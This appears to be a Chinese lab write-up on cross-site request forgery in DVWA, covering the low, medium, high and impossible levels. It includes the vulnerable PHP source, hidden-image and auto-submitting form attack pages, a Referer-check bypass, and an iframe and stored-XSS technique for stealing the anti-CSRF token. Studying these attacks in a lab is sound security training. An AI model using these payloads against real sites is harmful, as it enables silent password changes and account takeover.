一)名词解释:
CSRF,全称Cross-site request forgery,翻译过来就是跨站请求伪造,是指利用受害者尚未失效的身份认证信息(cookie、会话等),诱骗其点击恶意链接或者访问包含攻击代码的页面,在受害人不知情的情况下以受害者的身份向(身份认证信息所对应的)服务器发送请求,从而完成非法操作(如转账、改密等)。CSRF与XSS最大的区别就在于,CSRF并没有盗取cookie而是直接利用。在2013年发布的新版OWASP Top 10中,CSRF排名第8。
二)原理:
与XSS的区别:
XSS是通过修改页面Javascript等代码后,发给用户从而实现盗取cookie信息,之后利用cookie进行登陆网站等操作。非法操作是黑客。
CSRF并没有盗取cookie信息,而是通过用户直接利用cookie进行操作。非法操作并不是黑客,而是用户本身。(csrf通常和xss联合利用)
三)DVWA——low
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
可以看到,服务器收到修改密码的请求后,会检查参数password_new与password_conf是否相同,如果相同,就会修改密码,并没有任何的防CSRF机制(当然服务器对请求的发送者是做了身份验证的,是检查的cookie,只是这里的代码没有体现= =)。
输入新的密码之后就会在地址栏出现相应的链接(是get型所以提交的参数会显示),并提示密码修改成功:
自己手动:
low:
修改密码后的链接是:
此时在同一个浏览器中打开新的页面将上面的链接粘贴到地址栏并进行访问,此时成功访问:
然后在没有退出原本的登录的情况下(这其实就是真实攻击时,用户登录了淘宝,在没有退出淘宝(或身份认证信息还未过期时)打开了新的(hack设计好的修改淘宝登录密码的链接),就会把淘宝的密码改了),新打开的页面地址栏修改链接的密码为passwd(原本为zxj)并回车,新页面会显示密码修改成功,此时退出登录后重新登录会发现登录密码变为新的passwd而zxj无法登陆:
生成短链接(站长工具):
此时访问此短链接结果也是同个页面:
构造恶意页面并将此页面挂载到服务器或者放置在自己的网站中,此处我们用文本文档构造好恶意页面并保存为test.html到桌面,用IE打开;接着在原本登录的Firefox中查看密码是否被修改(也就是重新登录进行验证),发现密码没有被修改(这是因为使用不同的浏览器打开会没有效果)
此时在Firefox中用hack登录无法实现登录,关闭IE访问的恶意页面,将test.html通过Firefox打开,此时Firefox中重新登录就要使用hack才有效:
可以利用短链接方法精简url链接。也可以在服务器上写一个页面,写上payload请求,发给用户,用户访问后浏览器就会发出非法请求,如下:
漏洞利用
1、构造链接( 最基础的):
当受害者点击了这个链接,他的密码就会被改成password(这种攻击显得有些拙劣,链接一眼就能看出来是改密码的,而且受害者点了链接之后看到这个页面就会知道自己的密码被篡改了)
需要注意的是,CSRF最关键的是利用受害者的cookie向服务器发送伪造请求,所以如果受害者之前用Chrome浏览器登录的这个系统,而用搜狗浏览器点击这个链接,攻击是不会触发的,因为搜狗浏览器并不能利用Chrome浏览器的cookie,所以会自动跳转到登录界面。
有人会说,这个链接也太明显了吧,不会有人点的,没错,所以真正攻击场景下,我们需要对链接做一些处理。
B) 我们可以使用短链接来隐藏URL(点击短链接,会自动跳转到真实网站):
如:http://dwz.cn/****
因为本地搭的环境,服务器域名是ip所以无法生成相应的短链接= =,实际攻击场景下只要目标服务器的域名不是ip,是可以生成相应短链接的。
需要提醒的是,虽然利用了短链接隐藏url,但受害者最终还是会看到密码修改成功的页面,所以这种攻击方法也并不高明。
C) 构造攻击页面:
现实攻击场景下,这种方法需要事先在公网上传一个攻击页面,诱骗受害者去访问,真正能够在受害者不知情的情况下完成CSRF攻击。这里为了方便演示(才不是我租不起服务器= =),就在本地写一个test.html,下面是具体代码。
<html>
<head>
</head>
<body>
<img src="http://192.168.153.130/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
</body>
</html>
注:此处img中的src跳转必须是get请求下的csrf才可以发生。
(注:如果用户登录(本地DVWA)是使用Firefox,而双击访问test.html黑客网站是使用IE,那么密码是不会被修改的,要同一个浏览器密码才有效)
或者:
<html>
<body>
<form action="http://192.168.2.92/DVWA/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="hacker"/>
<input type="hidden" name="password_conf" value="hacker"/>
<input type="hidden" name ="Change" value="Change" />
<input type="submit" value="Click Me">
</form>
</body>
</html>
当受害者访问test.html时,会误认为是自己点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改为了hack。
D)结合存储型XSS进行:
我们也可以结合存储型XSS漏洞进行攻击,将CSRF代码写入XSS注入点中,如下:
此时,用户一旦访问该站点,就会在不知不觉中执行我们的恶意代码,被修改密码,这种方式同样是更加具有隐蔽性,不会出现密码修改界面。(可以参考:【XSS漏洞】通过XSS实现网页挂马)
DVWA——medium
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Checks to see where the request came from
if( stripos( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
}
else {
// Didn't come from a trusted source
echo "<pre>That request didn't look correct.</pre>";
}
mysql_close();
}
?>
相关函数说明:
1)int eregi(string pattern, string string)——检查string中是否含有pattern(不区分大小写),如果有返回True,反之False。
2)stripos函数:返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
3)$_SERVER['HTTP_REFERER'] #链接到当前页面的前一页面的 URL 地址。
4)$_SERVER['SERVER_NAME'] #当前运行脚本所在服务器主机的名称。
I)host头是指定要请求的资源的IP(或者域名)+端口号。没有端口号则是默认的。
II)referer头是告诉服务器从哪里来的,包括协议、域名、端口、路径和参数。
所以这里验证的是前一页的地址中有没有要访问的域名,所以需要把访问的文件
名字改成是host的name(IP(或者域名))。
III)也就是refer中必须包含主机名(host),即把前面的攻击页面命名为 IP地址.html(页面被放置在攻击者的服务器中)
自己的实操:
注:通过csrf不停地变换账号密码之后可能会忘记登陆的账号密码,解决方法:
在phpstudy中进入phpmyadmin(登录账号密码在win7虚拟机中有记录),在左侧的最近使用的表中找到“dvwa”表并找到其中的“users”:
就会看到对应的账号密码(密码使用了md5 进行加密):
在medium级别中,
抓包会发现多了referer,referer中的ip与host的相同:
在不退出原登录页面的情况下,通过原本的恶意页面(test.html)修改密码为(hack)并不会生效,密码仍然是zxj,而当把恶意页面命名为 IP地址.html 后使用hack就登录成功了【 IP地址是指hacker服务器的IP(使用ipconfig进行查看),如果是搭建本地服务器也可以使用127.0.0.1,但是记住只有用127.0.0.1登录才能将test.html修改为127.0.0.1并且test.html中的内容的IP也要对应127.0.0.1,如果以服务器ip登录192.168.67.140那么要对应将test.html修改为192.168.67.140并且test.html中的内容的IP也要对应192.168.67.140】:
可以看到,Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名,这里是192.168.153.130),希望通过这种机制抵御CSRF攻击。
漏洞利用:
(发现源码里多了一个这样的对比: if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) )
是匹配主机名字的,如果主机名与发起请求的名字一样的时候,就可以完成改密码的攻击,那么我们可以构造这样的一个HTML 用户A的主机IP地址为192.168.244.131(hack服务器/主机)。192.168.244.131.html 这个网页需要放在攻击者的服务器中,内容如下:
######以下是192.168.244.131.html页面的内容#######
<img src="http://192.168.244.131/DVWA-1.9/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#"border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
注:其中style="display:none;"是不让这个元素显示出来,我们把这个文件放在攻击主机上网站根目录下:
然后在攻击主机上去访问这个文件:
当用户在用密码password登录时发现已经登不上去了。
或者这么理解:
过滤规则是http包头的Referer参数的值中必须包含主机名(这里是192.168.153.130)。我们可以将攻击页面命名为192.168.153.130.html(页面被放置在攻击者的服务器里,这里是10.4.253.2)就可以绕过了:
下面是Burpsuite的截图:
Referer参数完美绕过过滤规则:
密码修改成功:
(medium中要使用构造的恶意页面的方式必须要有两台机器,一台是hacker的服务器,一台式被攻击者,无法在同一台机上实现,详细方法参见:
不使用恶意页面的方式那么可以参见:谢公子自己写的csrf解决方法)
环境:
目标主机:192.168.67.143
hack服务器:192.168.67.140
目标主机(win7-2),hack服务器(win7-1),均要开启phpstudy
总体流程:
把构造的恶意页面命名为test.html并放置到hack服务器(WWW),将此url(http://192.168.67.140/test.html)放置到公网中,当目标主机在公网中访问了hack服务器构造的修改密码的页面的同一个网站(也就是目标主机也先登录了dvwa并且没有退出),之后又在公网中被此url(http://192.168.67.140/test.html【也可以构造好了短链接】)吸引并点击在目标主机中访问那么dvwa的登录密码就被修改了。
分步操作:
先在目标主机中登录dvwa,之后在hack服务器中构造恶意页面(将密码修改为amber)并放置到网站根目录下
<html>
<head>
</head>
<body>
<img src="http://192.168.67.140/dvwa/vulnerabilities/csrf/?password_new=amber&password_conf=amber&Change=Change#"border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
</body>
</html>
在目标主机中访问http://192.168.67.140/test.html:
退出登录dvwa,再重新登录,此时发现password无法登陆成功,但是amber可以登录成功:
————————————————————————————————————
medium:
续low的修改,此时的密码是amber,将其在test.html文件中修改回来password,先测试此时访问完test.html恶意页面后能否用password登录成功,结果是不能,证明此时low级别的方法不适用了:
此时用改后的password登不上,但是用原本的amber可以,证明密码没有修改成功。
此时在目标主机中访问dvwa的csrf中的medium时进行抓包查看,发现有referer
参数的值中必须包含主机名(192.168.67.143):
将hack服务器中的恶意页面重命名为192.168.67.143.html(目标主机IP):
此时原本的amber已经无法登陆了,而恶意页面指定修改为password可以成功登录。
————————————————————————————————————
DVWA——high
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,High级别的代码加入了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端的请求。
漏洞利用:
要绕过High级别的反CSRF机制,关键是要获取token,要利用受害者的cookie去修改密码的页面获取关键的token。
方法一:
试着去构造一个攻击页面,将其放置在攻击者的服务器,引诱受害者访问,从而完成CSRF攻击,下面是代码:
<script type="text/javascript">
function attack() {
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit(); }
</script>
<iframe src="http://192.168.153.130/dvwa/vulnerabilities/csrf" id="hack" border="0" style="display:none;">
</iframe>
<body οnlοad="attack()">
<form method="GET" id="transfer" action="http://192.168.153.130/dvwa/vulnerabilities/csrf">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
方法二:
然而理想与现实的差距是巨大的,这里牵扯到了跨域问题,而现在的浏览器是不允许跨域请求的。这里简单解释下跨域,我们的框架iframe访问的地址是http://192.168.67.143/dvwa/vulnerabilities/csrf,位于服务器192.168.67.143上,而我们的攻击页面位于黑客服务器192.168.67.140上,两者的域名不同,域名B下的所有页面都不允许主动获取域名A下的页面内容,除非域名A下的页面主动发送信息给域名B的页面,所以我们的攻击脚本是不可能取到改密界面中的user_token。
由于跨域是不能实现的,所以现在要想进行CSRF攻击就必须获取到用户的token,而要想获取到 token 就必须利用用户的 cookie 值去访问修改密码的页面,然后截取服务器返回的token值。然后再利用CSRF漏洞构造URL进行密码的修改。
所以我们要将攻击代码注入到目标服务器192.168.67.143中,才有可能完成攻击。下面利用High级别的XSS漏洞协助获取Anti-CSRF token(因为这里的XSS注入有长度限制,不能够注入完整的攻击脚本,所以只获取Anti-CSRF token)。
具体步骤:
先尝试利用下面的代码去构造一个页面,诱使用户点击,当用户点击该链接的这一刻,该代码会偷偷的访问修改用户密码的页面,然后获取到服务器返回的 token ,然后再构造修改密码的表单,加上我们获取到服务器的token值,向服务器发送修改密码的请求。
<!DOCTYPE html>
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<script type="text/javascript">
//获取用户的token,并设置为表单中的token,然后提交修改密码的表单
function attack()
{
document.getElementsByName('user_token')[0].value=document.getElementById("hack").contentWindow.document.getElementsByName('user_token')[0].value;
document.getElementById("transfer").submit();
}
</script>
</head>
<body onl oad="attack()">
<iframe src="http://192.168.10.14/dvwa/vulnerabilities/csrf/" id="hack" style="display:none;"> <!--在该网页内打开另一个网页-->
</iframe>
<form method="GET" id="transfer" action="http://192.168.10.14/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="admin">
<input type="hidden" name="password_conf" value="admin">
<input type="hidden" name="user_token" value="">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>
而现在的浏览器是不允许跨域请求的,如果要上面的方法能成功实现那么就要提前将上面构造的页面放置到目标主机的服务器中才行。
所以采用另一种方式(与XSS结合):
进入high级别的XSS(stored):
先随意的输入Name和Message的值并进行抓包:
将前面构造的页面中的如下代码复制粘贴到txtName的值:
或者使用下面的语句(和上面构造的是一样的):
<iframe src="../csrf/" onl oad=alert(frames[0].document.getElementsByName('user_token')[0].value)>
此时将包forward并intercept off 此时页面就会显示相应的token值:
将token值(202bfc9dc88a899aad2bbb0bea84187f)放置在URL连接后,进行跨站伪造,高难度需要存储型XSS和CSRF结合:
或者:
然后利用下面的脚本构造一个恶意html页面(其实就是high级别中一开始构造的页面,只不过要把获取到的token值填入其中),并将它放到hack服务器中
<html>
<head lang="en">
<meta charset="UTF-8">
<title></title>
<script type="text/javascript">
//获取用户的token,并设置为表单中的token,然后提交修改密码的表单
function attack()
{
document.getElementById("transfer").submit();
}
</script>
</head>
<body onl oad="attack()">
<iframe src="http://192.168.67.140/dvwa/vulnerabilities/csrf/" id="hack" style="display:none;"> <!--在该网页内打开另一个网页-->
</iframe>
<form method="GET" id="transfer" action="http://192.168.67.140/dvwa/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="password">
<input type="hidden" name="password_conf" value="password">
<input type="hidden" name="user_token" value="202bfc9dc88a899aad2bbb0bea84187f">
<input type="hidden" name="Change" value="Change">
</form>
</body>
</html>
方法三:
利用burpsuite中的CSRF Token Tracker绕过token验证插件:
写入主机名,token字段值:
发送到重放模块:
每次发送都会随机token的值:
Impossible:
<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_curr = $_GET[ 'password_current' ];
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Sanitise current password input
$pass_curr = stripslashes( $pass_curr );
$pass_curr = mysql_real_escape_string( $pass_curr );
$pass_curr = md5( $pass_curr );
// Check that the current password is correct
$data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
$data->execute();
// Do both new passwords match and does the current password match the user?
if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
// It does!
$pass_new = stripslashes( $pass_new );
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new );
// Update database with new password
$data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
$data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
$data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
$data->execute();
// Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match or current password incorrect.</pre>";
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,Impossible级别的代码利用PDO技术防御SQL注入,至于防护CSRF,则要求用户输入原始密码(简单粗暴),攻击者在不知道原始密码的情况下,无论如何都无法进行CSRF攻击。
https://blog.csdn.net/qq_36119192/article/details/81429250
https://blog.csdn.net/qq_36119192/article/details/82820115
https://blog.csdn.net/S_Sorin/article/details/80661852